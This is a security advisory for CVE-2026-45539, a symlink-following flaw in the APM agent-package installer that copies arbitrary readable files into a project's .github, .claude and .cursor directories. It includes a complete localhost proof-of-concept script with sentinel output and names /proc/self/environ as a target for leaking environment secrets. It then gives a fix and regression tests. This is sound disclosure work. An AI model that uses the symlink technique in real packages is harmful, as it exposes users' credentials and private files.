CVE-2026-45539

Safe pattern already present in the codebase

• src/apm_cli/integration/base_integrator.py
BaseIntegrator.find_files_by_glob() rejects:
  • symlinks via f.is_symlink()
  • hardlinks via f.stat().st_nlink > 1
  • resolved paths escaping the package root

This helper is already used by InstructionIntegrator.find_instruction_files.

Documented contract that the affected integrators violate

In src/apm_cli/install/phases/local_content.py, _copy_local_package documents the intent of preserving symlinks in apm_modules/:

This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in apm_modules/ are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.

The affected integrators are the consumer tools that follow the link without sandboxing.

Reproducer

This proof of concept is localhost-only and uses a sentinel file, not a real secret.

It uses a real bare git repository and git config insteadOf so the install path is the same one APM uses for real GitHub clones (Repo.clone_from). No network access is required.

# 0. Clean slate
rm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home
mkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home

# 1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret

# 2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work_repo
git init -q -b main .
git config user.email [email protected]
git config user.name 'PoC'

cat > apm.yml <<'YML'
name: helpful-agents
version: 1.0.0
description: Helpful AI agent collection
YML

mkdir -p .apm/agents .apm/prompts

cat > .apm/agents/helper.agent.md <<'AGENT'
---
name: helper
description: A helpful assistant
---
You are a helpful assistant.
AGENT

ln -s /tmp/poc_secret .apm/agents/notes.agent.md
ln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md

git add -A
git commit -q -m "initial"
git tag v1.0.0

git ls-tree -r HEAD | grep '^120000'

# 3. Bare repo
git clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git

# 4. Rewrite the GitHub URL APM constructs onto the local bare repo
cat > /tmp/poc_home/.gitconfig <<'GITCONFIG'
[user]
    email = [email protected]
    name  = PoC
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents.git
[safe]
    directory = *
GITCONFIG

# 5. Victim project
mkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}

cat > /tmp/poc/victim_project/apm.yml <<'YML'
name: victim-project
version: 1.0.0
description: Victim project
targets: [copilot, claude, cursor, codex, windsurf]
dependencies:
  apm:
    - poc-author/helpful-agents#v1.0.0
YML

# 6. Default install, no special flags
cd /tmp/poc/victim_project
HOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install

Observed result

Default install output:

[>] Installing dependencies from apm.yml...
[>] Resolving poc-author/helpful-agents...
[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)
  [+] poc-author/helpful-agents #v1.0.0 @fa437578
  |-- 1 prompts integrated -> .github/prompts/
  |-- 10 agents integrated -> 5 targets
[*] Installed 1 APM dependency in 0.1s.

The source under apm_modules/ remains a symlink:

ls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md
# lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc_secret

The deploy roots receive plain regular files containing the sentinel:

• .github/agents/notes.agent.md
• .github/prompts/welcome.prompt.md
• .claude/agents/notes.md
• .cursor/agents/notes.md
• .codex/agents/notes.toml
• .windsurf/skills/notes/SKILL.md

Example:

cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

The deployed files persist after the original symlink target is removed:

rm /tmp/poc_secret
cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

Defenses that did not flag the result

• The pre-deploy SecurityGate.scan_files walks with followlinks=False and continues past is_symlink() files. The symlinked source is not scanned.
• apm audit against the post-install tree reports no findings.
• The auto-written .gitignore contains only apm_modules/. The deploy roots are not excluded, and git add -A stages all deployed files alongside apm.lock.yaml.
• The package content_hash is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.

Impact

The directly demonstrated impact is file-content disclosure.

Any file readable by the user running apm install can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.

Realistic downstream consequences

These were not separately demonstrated with real secrets, but they follow from the validated behavior:

• The deploy directories (.github/, .claude/, .cursor/, .codex/, .windsurf/) are project-tracked by convention, and the auto-generated .gitignore does not exclude them.
• In automation that regenerates and commits agent context, the leaked files can be pushed without human review.
• A symlink target such as /proc/self/environ would resolve to the APM process environment at install time.

Why this is security-relevant and not intended behavior

This is not just "a malicious package being malicious."

The codebase already contains the correct defense in BaseIntegrator.find_files_by_glob(), and that helper explicitly rejects symlinks, hardlinks, and containment escapes. InstructionIntegrator uses it. PromptIntegrator and AgentIntegrator do not.

The codebase also documents that preserving symlinks inside apm_modules/ is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.

That architectural asymmetry makes this look like an implementation oversight, not intended behavior.

Recommended fix

Route both affected finders through the existing safe helper.

# src/apm_cli/integration/prompt_integrator.py
def find_prompt_files(self, package_path: Path) -> list[Path]:
    return self.find_files_by_glob(
        package_path, "*.prompt.md", subdirs=[".apm/prompts"]
    )

# src/apm_cli/integration/agent_integrator.py
def find_agent_files(self, package_path: Path) -> list[Path]:
    files: list[Path] = []
    files += self.find_files_by_glob(package_path, "*.agent.md")
    files += self.find_files_by_glob(package_path, "*.chatmode.md")
    files += self.find_files_by_glob(
        package_path, "*.agent.md", subdirs=[".apm/agents"]
    )
    files += self.find_files_by_glob(
        package_path, "*.md", subdirs=[".apm/agents"]
    )
    files += self.find_files_by_glob(
        package_path, "*.chatmode.md", subdirs=[".apm/chatmodes"]
    )
    return files

Optional defense in depth

• In copy_prompt, copy_agent, _write_codex_agent, and _write_windsurf_agent_skill, explicitly raise on source.is_symlink() before reading.
• Treat any symlink under a dependency's .apm/ tree as a security finding during scanning.

Regression test idea

Add unit tests that create a fixture package with symlinks under .apm/prompts/, .apm/agents/, and .apm/chatmodes/, then assert that the symlink entries are filtered out before any read occurs.

Example shape:

def test_symlink_under_apm_prompts_is_rejected(tmp_path):
    pkg = tmp_path / "pkg"
    (pkg / ".apm/prompts").mkdir(parents=True)

    sentinel = tmp_path / "sentinel.txt"
    sentinel.write_text("REGRESSION-SENTINEL")

    (pkg / ".apm/prompts/leak.prompt.md").symlink_to(sentinel)

    result = PromptIntegrator().find_prompt_files(pkg)

    assert all(not p.is_symlink() for p in result)
    assert not any(p.name == "leak.prompt.md" for p in result)

A second test should mirror the same pattern for AgentIntegrator.find_agent_files().